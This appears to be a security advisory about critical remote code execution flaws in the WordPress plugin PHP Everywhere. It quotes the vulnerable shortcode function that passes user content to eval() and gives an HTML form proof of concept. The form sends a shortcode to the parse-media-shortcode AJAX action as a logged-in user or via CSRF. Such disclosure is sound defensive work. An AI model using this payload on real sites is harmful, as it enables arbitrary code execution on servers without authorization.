Vulnerability Details: Multiple in PHP Everywhere
Some of the changelog entries for the latest version of the WordPress plugin PHP Everywhere are:
- Fix: Fixed multiple critical vulnerabilities. Thanks to Ramuel Gall/Wordfence for pointing them out.
- Issue: Remote Code Execution by low-privileged users via shortcode; Estimated CVSS score: 9.9(Critical)
- Issue: Remote Code Execution by low-privileged users via metabox; Estimated CVSS score: 9.9(Critical)
- Issue: Remote Code Execution by low-privileged users via gutenberg block; Estimated CVSS score: 9.9(Critical)
- Removed: Removed shortcode because of vulnerability
- Removed: Removed options box because of vulnerability
- Removed: Removed PHP everywhere widget because of vulnerability
Some of what is claimed to be a vulnerability there seems to be the intended functionality of the plugin, as by default users with the Editor and Author role were intended to have access, in addition to Administrators.
One of the things removed was the plugin’s shortcode. Looking at the code for that in the previous version, we found that anyone with access to executing shortcodes could run PHP code:
3 4 5 6 7 8 9 10 11 12 13 14 | function php_everywhere_func( $atts,$content = null ){
$param = shortcode_atts( array(
'instance' => "",
), $atts );
$instance = "";
$instance = $param['instance'];
$content = htmlspecialchars_decode($content);
$content = str_replace("‘","'",$content);
$content = str_replace("’","'",$content);
echo($content);
ob_start();
eval(' ?>'.$content.'<?php '); |
Anyone logged in to WordPress has the ability to access that through WordPress’ parse-media-shortcode AJAX function, as the proof of concept below confirms.
This could also be exploited through cross-site request forgery (CSRF), as there is not a nonce check of that AJAX function.
Proof of Concept
The following proof of concept will execute the specified PHP code, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress and “[PHP code]” with the PHP code to be run.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="parse-media-shortcode" /> <input type="hidden" name="shortcode" value="[php_everywhere][PHP code][/php_everywhere]" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>